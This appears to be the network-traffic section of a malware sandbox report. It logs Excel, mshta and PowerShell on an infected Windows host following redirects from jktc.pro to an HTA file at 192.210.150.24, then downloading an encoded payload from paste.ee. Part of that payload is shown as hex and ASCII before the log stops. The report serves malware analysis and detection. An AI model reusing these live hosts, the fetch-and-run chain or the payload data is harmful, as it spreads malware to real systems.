Dec 12, 2024 21:56:45.693733931 CET	490	OUT	GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Thu, 12 Dec 2024 05:28:35 GMT Connection: Keep-Alive Host: 192.210.150.24 If-None-Match: "142f6-6290bfc5f522a"
Dec 12, 2024 21:56:46.861601114 CET	275	IN	HTTP/1.1 304 Not Modified Date: Thu, 12 Dec 2024 20:56:46 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 12 Dec 2024 05:28:35 GMT ETag: "142f6-6290bfc5f522a" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	172.67.163.184	443	3276	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:18 UTC	399	OUT	GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jktc.pro Connection: Keep-Alive
2024-12-12 20:56:19 UTC	1218	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 20:56:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 101 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta vary: Accept, Accept-Encoding x-do-app-origin: 5a212e0f-46b3-415c-8929-fe4f6fb9f10b Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uPdeS7%2BBKYpPAC9c%2BxCaGxlJoO6xPfpvU4LSI1vnLXrV0a6A9PreYIsCImQqFmLUEnFSprazBA%2FXgKAEGLVMMA9JlLn0Moiit3wCuZP%2BiDOiZ6rQUVe9HjSJxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f109eccdc0a19b6-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 20:56:19 UTC	215	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 30 37 39 26 6d 69 6e 5f 72 74 74 3d 32 30 37 31 26 72 74 74 5f 76 61 72 3d 37 39 33 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 34 26 72 65 63 76 5f 62 79 74 65 73 3d 39 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 33 36 35 37 36 32 26 63 77 6e 64 3d 31 37 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 33 37 63 32 35 61 32 63 31 62 36 39 66 62 30 63 26 74 73 3d 37 33 30 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=2079&min_rtt=2071&rtt_var=793&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2804&recv_bytes=981&delivery_rate=1365762&cwnd=170&unsent_bytes=0&cid=37c25a2c1b69fb0c&ts=730&x=0"
2024-12-12 20:56:19 UTC	101	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 32 31 30 2e 31 35 30 2e 32 34 2f 35 35 2f 63 72 6d 2f 63 72 65 61 6d 6b 69 73 73 69 6e 67 74 68 69 6e 67 73 77 69 74 68 63 72 65 61 6d 62 61 6e 61 6e 61 70 61 63 6b 61 67 65 63 72 65 61 6d 79 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	104.21.34.183	443	3568	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:23 UTC	423	OUT	GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jktc.pro Connection: Keep-Alive
2024-12-12 20:56:23 UTC	1216	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 20:56:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 101 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta vary: Accept, Accept-Encoding x-do-app-origin: 5a212e0f-46b3-415c-8929-fe4f6fb9f10b Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WtRLwcN4CZzd13T2r5k0cBYqLL6A%2FJfClsqhDPVo0OVVobWhiMgeUl%2Bj7RzTR4RDzCFAhfBqwwFb7TwWSnvz%2FHWISxz9InvrOM4WGOuEhwcuyd4YoSlHWqqhFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f109eeadfc04264-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 20:56:23 UTC	216	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 34 31 26 6d 69 6e 5f 72 74 74 3d 31 37 34 31 26 72 74 74 5f 76 61 72 3d 36 35 34 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 36 37 32 33 39 34 26 63 77 6e 64 3d 32 32 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 65 37 66 30 61 34 33 32 64 34 61 65 31 36 35 38 26 74 73 3d 37 33 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1741&rtt_var=654&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2805&recv_bytes=1005&delivery_rate=1672394&cwnd=220&unsent_bytes=0&cid=e7f0a432d4ae1658&ts=735&x=0"
2024-12-12 20:56:23 UTC	101	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 32 31 30 2e 31 35 30 2e 32 34 2f 35 35 2f 63 72 6d 2f 63 72 65 61 6d 6b 69 73 73 69 6e 67 74 68 69 6e 67 73 77 69 74 68 63 72 65 61 6d 62 61 6e 61 6e 61 70 61 63 6b 61 67 65 63 72 65 61 6d 79 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	172.67.163.184	443	3276	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:40 UTC	399	OUT	GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jktc.pro Connection: Keep-Alive
2024-12-12 20:56:41 UTC	1216	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 20:56:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 101 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta vary: Accept, Accept-Encoding x-do-app-origin: 5a212e0f-46b3-415c-8929-fe4f6fb9f10b Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q7jhKZg2lYzIIHSjU8C37cqDg094bPnaIIbMPX9%2B5bhuZaj0WafGcfT7nEMjssViBQIZ2bgrLJbnNih1P56kQH%2Fl57n9%2FFBzWL9Xg8MZo0WG0uPw8YD91sbBAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f109f5779dd0f75-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 20:56:41 UTC	215	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 35 33 26 6d 69 6e 5f 72 74 74 3d 31 36 35 30 26 72 74 74 5f 76 61 72 3d 36 32 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 34 26 72 65 63 76 5f 62 79 74 65 73 3d 39 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 34 32 32 34 33 26 63 77 6e 64 3d 32 31 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 30 31 64 34 32 36 64 35 32 30 63 31 38 38 31 26 74 73 3d 37 33 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1650&rtt_var=625&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2804&recv_bytes=981&delivery_rate=1742243&cwnd=218&unsent_bytes=0&cid=a01d426d520c1881&ts=732&x=0"
2024-12-12 20:56:41 UTC	101	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 32 31 30 2e 31 35 30 2e 32 34 2f 35 35 2f 63 72 6d 2f 63 72 65 61 6d 6b 69 73 73 69 6e 67 74 68 69 6e 67 73 77 69 74 68 63 72 65 61 6d 62 61 6e 61 6e 61 70 61 63 6b 61 67 65 63 72 65 61 6d 79 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49170	172.67.163.184	443	2504	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:44 UTC	423	OUT	GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jktc.pro Connection: Keep-Alive
2024-12-12 20:56:45 UTC	1216	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 20:56:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 101 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta vary: Accept, Accept-Encoding x-do-app-origin: 5a212e0f-46b3-415c-8929-fe4f6fb9f10b Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KKnFTT%2BKHQPCm4enGKV%2F%2B7VQDSbpEkZacKed3kmu0fpIZSY4S9pH0joopAjsSIaxJlddH41UUcfG0i2w2PG3gSN0CdOC4JoefXOvEWUbvDVzKW4OpKgFh2dCog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f109f717ff2c425-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 20:56:45 UTC	217	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 32 33 26 6d 69 6e 5f 72 74 74 3d 31 35 38 34 26 72 74 74 5f 76 61 72 3d 36 39 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 38 34 33 34 33 34 26 63 77 6e 64 3d 32 34 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 31 62 61 36 36 36 33 38 35 38 38 66 38 35 35 33 26 74 73 3d 31 37 34 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1584&rtt_var=693&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2804&recv_bytes=1005&delivery_rate=1843434&cwnd=240&unsent_bytes=0&cid=1ba66638588f8553&ts=1749&x=0"
2024-12-12 20:56:45 UTC	101	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 32 31 30 2e 31 35 30 2e 32 34 2f 35 35 2f 63 72 6d 2f 63 72 65 61 6d 6b 69 73 73 69 6e 67 74 68 69 6e 67 73 77 69 74 68 63 72 65 61 6d 62 61 6e 61 6e 61 70 61 63 6b 61 67 65 63 72 65 61 6d 79 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49173	188.114.97.6	443	3968	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:58 UTC	67	OUT	GET /r/o8fzA/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-12-12 20:56:58 UTC	1289	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:56:58 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: HIT Age: 3204 Last-Modified: Thu, 12 Dec 2024 20:03:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9ZtFFq4B5U40k8KdfxR1EvZnLy%2FJ3uHEWF9h0WScDPlqhCkjRa93J5emabiKUp5KXj9lInbmukmnmqKWipLF5oZyuZZWklDQ%2FCfSJR3Sc%2BW%2BUjPHh%2Bb0n0TIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f109fc5b8926a52-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 20:56:58 UTC	216	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 36 32 34 26 6d 69 6e 5f 72 74 74 3d 31 38 39 38 26 72 74 74 5f 76 61 72 3d 31 32 33 30 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 35 33 38 34 36 31 26 63 77 6e 64 3d 32 31 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 63 62 36 34 63 61 64 64 32 37 63 39 34 66 39 26 74 73 3d 34 37 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=2624&min_rtt=1898&rtt_var=1230&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=1538461&cwnd=210&unsent_bytes=0&cid=dcb64cadd27c94f9&ts=472&x=0"
2024-12-12 20:56:58 UTC	1233	IN	Data Raw: 37 61 39 31 0d 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 34 7a 44 32 38 77 4c 50 63 79 44 66 38 67 46 50 4d 78 44 4c 38 41 77 4f 6b 76 44 78 37 51 36 4f 41 75 44 59 37 77 7a 4f 63 6f 44 38 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a Data Ascii: 7a91AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP4zD28wLPcyDf8gFPMxDL8AwOkvDx7Q6OAuDY7wzOcoD86wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNz
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 4f 6b 67 44 46 33 77 2f 4e 30 66 44 38 33 77 2b 4e 6f 66 44 32 33 51 39 4e 45 66 44 72 33 51 36 4e 67 65 44 6e 33 67 35 4e 49 65 44 68 33 51 33 4e 63 64 44 56 33 41 31 4e 4d 64 44 50 33 67 7a 4e 6f 63 44 45 33 67 77 4e 45 63 44 41 32 77 76 4e 73 62 44 36 32 67 74 4e 41 62 44 75 32 51 72 4e 77 61 44 6f 32 77 70 4e 4d 61 44 64 32 77 6d 4e 6f 5a 44 57 32 51 6c 4e 45 5a 44 4c 32 51 69 4e 67 59 44 45 32 77 51 4e 30 58 44 38 31 77 65 4e 6f 58 44 6b 31 67 59 4e 45 43 41 41 42 51 47 41 47 41 4d 41 41 41 77 4f 6f 74 44 5a 77 41 44 41 41 41 41 45 41 59 41 73 41 73 44 4d 37 67 69 4f 55 72 44 30 36 77 73 4f 59 71 44 65 36 77 6c 4f 38 6f 44 4f 36 67 69 4f 51 6b 44 32 35 67 63 4f 73 6d 44 71 35 67 59 4f 45 6d 44 67 35 77 48 41 41 41 41 4d 41 59 41 67 41 67 44 67 34 77 Data Ascii: OkgDF3w/N0fD83w+NofD23Q9NEfDr3Q6NgeDn3g5NIeDh3Q3NcdDV3A1NMdDP3gzNocDE3gwNEcDA2wvNsbD62gtNAbDu2QrNwaDo2wpNMaDd2wmNoZDW2QlNEZDL2QiNgYDE2wQN0XD81weNoXDk1gYNECAABQGAGAMAAAwOotDZwADAAAAEAYAsAsDM7giOUrD06wsOYqDe6wlO8oDO6giOQkD25gcOsmDq5gYOEmDg5wHAAAAMAYAgAgDg4w
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 45 72 44 76 36 51 72 4f 73 71 44 70 36 77 70 4f 55 71 44 6a 36 51 6f 4f 38 70 44 64 36 77 6d 4f 6b 70 44 58 36 51 6c 4f 4d 70 44 52 36 77 6a 4f 30 6f 44 4c 36 51 69 4f 63 6f 44 46 36 77 67 4f 45 6b 44 2f 35 51 66 4f 73 6e 44 35 35 77 64 4f 55 6e 44 7a 35 51 63 4f 38 6d 44 74 35 77 61 4f 6b 6d 44 6e 35 51 5a 4f 4d 6d 44 68 35 77 58 4f 30 6c 44 62 35 51 57 4f 63 6c 44 56 35 77 55 4f 45 6c 44 50 35 51 54 4f 73 6b 44 4a 35 77 52 4f 55 6b 44 44 35 51 41 4f 38 6a 44 39 34 77 4f 4f 6b 6a 44 33 34 51 4e 4f 4d 6a 44 78 34 77 4c 4f 30 69 44 72 34 51 4b 4f 63 69 44 6c 34 77 49 4f 45 69 44 66 34 51 48 4f 73 68 44 5a 34 77 46 4f 55 68 44 54 34 51 45 4f 38 67 44 4e 34 77 43 4f 6b 67 44 48 34 51 42 4f 4d 67 44 42 33 77 2f 4e 30 66 44 37 33 51 2b 4e 63 66 44 31 33 77 38 Data Ascii: ErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz5QcO8mDt5waOkmDn5QZOMmDh5wXO0lDb5QWOclDV5wUOElDP5QTOskDJ5wROUkDD5QAO8jD94wOOkjD34QNOMjDx4wLO0iDr4QKOciDl4wIOEiDf4QHOshDZ4wFOUhDT4QEO8gDN4wCOkgDH4QBOMgDB3w/N0fD73Q+NcfD13w8
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 58 44 34 31 67 64 4e 51 58 44 79 31 41 63 4e 34 57 44 73 31 67 61 4e 67 57 44 6d 31 41 5a 4e 49 57 44 67 31 67 58 4e 77 56 44 61 31 41 57 4e 59 56 44 55 31 67 55 4e 41 56 44 4f 31 41 54 4e 6f 55 44 49 31 67 52 4e 51 55 44 43 31 41 41 4e 34 54 44 38 30 67 4f 4e 67 54 44 32 30 41 4e 4e 49 54 44 77 30 67 4c 4e 77 53 44 71 30 41 4b 4e 59 53 44 6b 30 67 49 4e 41 53 44 65 30 41 48 4e 6f 52 44 59 30 67 46 4e 51 52 44 53 30 41 45 4e 34 51 44 4d 30 67 43 4e 67 51 44 47 30 41 42 4e 49 51 44 41 7a 67 2f 4d 77 50 44 36 7a 41 2b 4d 59 50 44 30 7a 67 38 4d 41 50 44 75 7a 41 37 4d 6f 4f 44 6f 7a 67 35 4d 51 4f 44 69 7a 41 34 4d 34 4e 44 63 7a 67 32 4d 67 4e 44 57 7a 41 31 4d 49 4e 44 51 7a 67 7a 4d 77 4d 44 4b 7a 41 79 4d 59 4d 44 45 7a 67 77 4d 41 49 44 2b 79 41 76 4d Data Ascii: XD41gdNQXDy1AcN4WDs1gaNgWDm1AZNIWDg1gXNwVDa1AWNYVDU1gUNAVDO1ATNoUDI1gRNQUDC1AAN4TD80gONgTD20ANNITDw0gLNwSDq0AKNYSDk0gINASDe0AHNoRDY0gFNQRDS0AEN4QDM0gCNgQDG0ABNIQDAzg/MwPD6zA+MYPD0zg8MAPDuzA7MoODozg5MQODizA4M4NDczg2MgNDWzA1MINDQzgzMwMDKzAyMYMDEzgwMAID+yAvM
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 44 5a 36 77 6c 4f 55 70 44 54 36 51 6b 4f 38 6f 44 4e 36 77 69 4f 6b 6f 44 48 36 51 68 4f 4d 6f 44 42 35 77 66 4f 30 6e 44 37 35 51 65 4f 63 6e 44 31 35 77 63 4f 45 6e 44 76 35 51 62 4f 73 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 2f 34 51 50 4f 73 6a 44 35 34 77 4e 4f 55 6a 44 7a 34 51 4d 4f 38 69 44 74 34 51 45 4f 41 68 44 50 34 67 44 4f 30 67 44 4d 34 77 43 4f 6f 67 44 4a 34 41 43 4f 63 67 44 47 34 51 42 4f 51 67 44 41 33 77 2f 4e 34 66 44 39 33 41 2f 4e 73 66 44 36 33 51 2b 4e 67 66 44 33 33 67 39 4e 55 66 44 77 33 77 37 4e 34 65 44 74 33 41 37 4e 73 65 44 71 33 51 36 4e 67 65 44 6e 33 67 35 4e 55 65 44 6b 33 77 34 4e 49 Data Ascii: DZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4QEOAhDP4gDO0gDM4wCOogDJ4ACOcgDG4QBOQgDA3w/N4fD93A/NsfD63Q+NgfD33g9NUfDw3w7N4eDt3A7NseDq3Q6NgeDn3g5NUeDk3w4NI
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 41 41 41 77 50 68 2f 54 49 2b 41 74 50 47 36 7a 4f 2b 49 54 50 47 33 54 76 39 41 55 50 33 77 44 74 38 6f 32 4f 7a 74 7a 41 36 34 63 4f 65 6e 7a 79 35 4d 55 4f 4e 67 54 4f 31 38 45 4e 31 54 44 68 7a 30 35 4d 38 4e 44 42 79 4d 75 4d 4e 4c 44 6c 79 34 53 4d 2f 48 54 31 78 77 47 4d 55 43 7a 52 41 41 41 41 51 42 51 42 41 41 77 50 4e 2f 7a 75 2f 49 6a 50 73 33 7a 34 36 59 69 4f 65 6f 6a 46 36 34 67 4f 48 67 6a 51 34 59 77 4e 30 66 6a 34 33 41 39 4e 2b 65 54 43 30 41 79 4d 68 50 7a 7a 7a 30 37 4d 72 4f 54 6d 7a 63 34 4d 31 4e 7a 59 7a 45 31 4d 2f 4d 54 4c 7a 73 78 4d 4a 49 54 78 79 45 72 4d 68 4a 6a 57 79 38 68 4d 4a 45 7a 31 78 73 63 4d 63 47 7a 6a 78 45 56 4d 77 45 6a 4a 78 4d 42 4d 70 44 44 34 77 6b 4e 4d 58 43 